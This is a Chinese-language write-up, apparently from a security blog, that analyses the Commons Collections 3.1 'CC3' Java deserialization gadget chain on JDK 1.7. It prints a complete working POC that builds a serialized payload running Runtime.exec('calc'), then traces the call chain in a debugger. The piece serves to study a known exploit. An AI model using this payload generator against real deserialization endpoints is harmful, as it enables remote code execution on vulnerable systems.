环境
common-collection 3.1版本 jdk1.7版本下的POC复现
在Java 8u71以后的版本中,由于 sun.reflect.annotation.AnnotationInvocationHandler 发生了变化导致不再可用
前置知识
存在于包org.apache.commons.collections.functors
中
构造函数:
1 2 3 4 5 6 7 8
| private InstantiateTransformer() { this.iParamTypes = null; this.iArgs = null; } public InstantiateTransformer(Class[] paramTypes, Object[] args) { this.iParamTypes = paramTypes; this.iArgs = args; }
|
同时需要关注transform函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
|
通过反射实例化一个对象
TrAXFilter
存在于包com.sun.org.apache.xalan.internal.xsltc.trax
中
其构造函数如下:
1 2 3 4 5 6 7 8
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _overrideDefaultParser = _transformer.overrideDefaultParser(); }
|
其中_transformer = (TransformerImpl) templates.newTransformer();
调用了TemplatesImpl中newTransformer函数,在CC2链中可以了解到此函数会对我们构造的类进行实例化。现在使用TrAXFilter,就不需要像CC2链中使用InvokerTransformer调用newTransformer函数
当然,不使用InvokerTransformer也无法调用TrAXFilter的构造方法,如果在面对InvokerTransformer被过滤的情况下,可以使用另一个transformer,即上面提到的InstantiateTransformer,它能够通过反射实例化一个对象
POC
根据前置知识就可以知道,通过InstantiateTransformer调用TrAXFilter的构造函数,构造函数会调用TemplatesImpl的newTransformer函数从而对构造的类进行实例化
CC3链其实是CC1链和CC2链的结合,下面给出具体POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
| package ysoserial;
import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.Transformer; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map;
public class commons_collections3 { public static void main(String[] args) throws Exception{ String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool = ClassPool.getDefault(); classPool.appendClassPath(AbstractTranslet); CtClass payload = classPool.makeClass("CC3"); payload.setSuperclass(classPool.get(AbstractTranslet)); payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = payload.toBytecode(); Object templatesImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); Field field = templatesImpl.getClass().getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templatesImpl, new byte[][]{bytes});
Field field1 = templatesImpl.getClass().getDeclaredField("_name"); field1.setAccessible(true); field1.set(templatesImpl, "test");
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=ctor.newInstance(Override.class,map1);
FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(object);
FileInputStream fi = new FileInputStream("payload.bin"); ObjectInputStream fin = new ObjectInputStream(fi); fin.readObject(); } }
|
首先观察POC的前半部分,我们继续构造一个payload类并转换成字节码注入到TemplatesImpl对象的_bytecodes
字段中
接下来这段代码:
1 2 3 4 5 6 7
| Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[] {Templates.class}, new Object[]{templatesImpl}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
|
主要目的还是通过构造transformerChain以及lazyMap后,利用get方法调用transform函数形成调用链,关键在于transformers数组中的构造,数组中利用的是TrAXFilter和InstantiateTransformer
首先经过ConstantTransformer的transform函数后得到的是TrAXFilter类,然后调用InstantiateTransformer的transform函数,通过反射将TrAXFilter实例化,而在TrAXFilter的构造函数中,会调用TemplatesImpl的newTransformer方法,注意,InstantiateTransformer构造函数的第二个参数即是TrAXFilter的第一个参数,也就是我们构造的TemplatesImpl对象
为了能够调用LazyMap的get方法,这里依旧使用了AnnotationInvocationHandler类
1 2 3 4 5 6 7 8 9
| Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=ctor.newInstance(Override.class,map1);
|
AnnotationInvocationHandler类的invoke方法调用了get方法,那么如何调用AnnotationInvocationHandler的invoke方法,这里使用了动态代理的方式
会发现AnnotationInvocationHandler类实际上就是一个InvocationHandler,如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任何方法,就会进入到AnnotationInvocationHandler#invoke方法中,从而触发LazyMap#get
即对应POC以下部分:
1 2 3 4 5 6 7 8 9
| Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)ctor.newInstance(Override.class,lazyMap); Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler); Object object=ctor.newInstance(Override.class,map1);
|
POC调试
在AnnotationInvocationHandler中的readObject下断点,调试运行

根据POC中知,我们将memberValues设置成了LazyMap对象,它在调用任何函数前都会先调用AnnotationInvocationHandler#invoke方法,于是在invoke方法中下断点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { switch (var4) { case "toString": return this.toStringImpl(); case "hashCode": return this.hashCodeImpl(); case "annotationType": return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }
return var6; } } } }
|
在Object var6 = this.memberValues.get(var4);
中会调用LazyMap的get方法,进入该方法并下断点
1 2 3 4 5 6 7 8 9
| public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }
|
此时变量的值为

在if判断中,不存在key为”entrySet”的值,故需要进入if中执行语句,注意this.factory的值正是我们构造的ChainedTransformer,这是通过LazyMap中的decorate实现的,所以会执行ChainedTransformer的transform方法,单步进入
1 2 3 4 5 6 7
| public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); }
return object; }
|
未执行for循环前变量的值:

执行完一轮后,object变成了class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
在执行第二轮for循环的时候,选择步入就到了InstantiateTransformer的transform函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Object transform(Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this.iParamTypes); return con.newInstance(this.iArgs); } } catch (NoSuchMethodException var6) { throw new FunctorException("InstantiateTransformer: The constructor must exist and be public "); } catch (InstantiationException var7) { throw new FunctorException("InstantiateTransformer: InstantiationException", var7); } catch (IllegalAccessException var8) { throw new FunctorException("InstantiateTransformer: Constructor must be public", var8); } catch (InvocationTargetException var9) { throw new FunctorException("InstantiateTransformer: Constructor threw an exception", var9); } }
|
此时各参数的值为

接下来的步骤就是实例化TrAXFilter对象,在其构造函数中会调用TemplatesImpl的newTransformer函数,之后的步骤与CC2链中一致
剩下部分由于中途环境问题不调试,道理一致
调用链:
1 2 3 4 5 6 7 8 9 10 11 12 13
| AnnotationInvocationHandler.readobject ->(proxy)lazyMap.entrySet ->AnnotationInvocationHandler.invoke ->lazyMap.get ->ChainedTransformer.transform ->ConstantTransformer.transform ->InstantiateTransformer.transform ->TrAXFilter(构造方法) ->TemplatesImpl.newTransformer ->TemplatesImpl.getTransletInstance ->TemplatesImpl.defineTransletClasses ->(动态创建的类)cc2.newInstance() ->Runtime.exec()
|
参考
Java安全之Commons Collections3分析 - nice_0e3 - 博客园 (cnblogs.com)